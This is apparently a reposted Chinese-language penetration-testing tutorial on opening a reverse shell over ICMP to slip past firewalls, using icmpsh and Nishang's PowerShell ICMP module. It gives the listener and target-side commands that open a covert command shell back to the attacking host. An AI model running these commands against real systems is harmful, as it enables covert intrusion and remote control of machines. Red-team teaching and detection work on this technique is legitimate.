通過ICMP協議反彈SHELL並執行命令
前言
內網中的大多數系統都位於防火牆和企業代理之後,以便控制入口以及出口流量。防火牆可以攔截到反連的shell,但ICMP協議基本上是不攔截的。因此,為了獲得shell並在目標主機上執行命令,可以使用ICMP協議作為隱藏通道進行連線。
使用icmpsh(https://github.com/inquisb/icmpsh)工具可用來執行此攻擊。推特上的大牛@Bernardo Damele已經將其匯入到他的工具sqlmap中,可以使用-os-pwn選項來發起攻擊。
以下命令將禁止ICMP回顯,這對於工具正常使用是至關重要的,啟動一個監聽器,該監聽器將等待目標主機的ICMP資料包:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./icmpsh_m.py 192.168.100.3 192.168.100.4
icmpsh工具中還包含需要在目標主機上傳輸和執行的二進位制檔案。以下命令將向監聽主機傳送ICMP包:
icmpsh.exe -t 192.168.100.3
一個shell將通過ICMP接收,並且也可以通過這個管道來執行命令。
Daniel Compton(https://twitter.com/commonexploits)開發了一個自動化過程的指令碼。此指令碼所需的唯一輸入是目標主機的IP地址。該指令碼包含在icmpsh(https://github.com/inquisb/icmpsh)中。
工具有多個選項的命令和控制。
在Nishang框架中包含一個PowerShell模組,可以與icmpsh python指令碼結合使用,以獲取ICMP上的shell。在主機上,執行下面命令將會開始監聽ICMP資料包。
./icmpsh_m.py 192.168.100.3 192.168.100.4
在目標主機上,PowerShell的Icmp模組僅需要主IP地址:Import-Module .\Invoke-PowerShellIcmp.ps1
Invoke-PowerShellIcmp 192.168.100.3
這個連結將會返回給主機一個shell
Resources
https://attack.mitre.org/wiki/Command_and_Control
http://bernardodamele.blogspot.co.uk/2011/04/reverse-connection-icmp-shell.html
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang
http://leidecker.info/downloads/index.shtml
https://github.com/nocow4bob/PiX-C2
https://github.com/sincoder/icmp_shell
https://github.com/Darkpaw95/ICMP_Rev_shell
原文:https://pentestlab.blog/2017/07/28/command-and-control-icmp/
相關文章
- 網路通訊協議-ICMP協議詳解!協議
- ICMP協議協議
- [譯]通過HTTPS協議執行你的Flask程式HTTP協議Flask
- icmp和arp協議協議
- DNS反彈ShellDNS
- 反彈shell是什麼?反彈shell有什麼用?
- ICMP Internet控制資訊協議協議
- 10種反彈shell方式
- Raft協議:通過TermId大的通過Raft協議
- python裡執行shell命令或cmd命令Python
- 【Mongo】shell命令列模式執行mongo命令Go命令列模式
- IDEA 執行 XXX 時報錯命令列過長,縮短命令列並重新執行Idea命令列
- 反彈shell不成功排查
- 計算機網路之四:ICMP協議計算機網路協議
- awk小技巧之執行shell命令
- python執行shell並獲取結果Python
- 淺談TCP、UDP、ICMP三種常見協議TCPUDP協議
- 通過瀏覽器執行cmd命令、啟動steam瀏覽器
- shell指令碼linux命令連續執行指令碼Linux
- shell指令碼命令 執行python檔案&python命令列執行python程式碼指令碼Python命令列
- 通過故事引申網路協議TCP協議TCP
- BGP - 不同 AS 間執行的協議協議
- [20210618]記錄bash shell執行的命令.txt
- crontab異常:shell下可以執行命令,執行crontab卻報錯
- jftp通過sftp協議上傳檔案FTP協議
- 利用SSRF漏洞內網探測來攻擊Redis(通過curl命令 & gopher協議)內網RedisGo協議
- 如何通過 SSH 在遠端 Linux 系統上執行命令Linux
- 通訊協議協議
- PHP命令執行與繞過PHP
- Redis 命令的執行過程Redis
- 六種用ruby呼叫執行shell命令的方法
- Jenkins踩坑之旅:nohup後臺執行shell命令Jenkins
- 在 Ruby 中執行 Shell 命令的 6 種方法
- 第28條:通過協議提供匿名物件協議物件
- DiscuzX系列命令執行分析公開(三連彈)
- 為什麼說 ICMP 協議是網路最強輔助協議
- java 執行shell命令及日誌收集避坑指南Java
- modbus通訊協議協議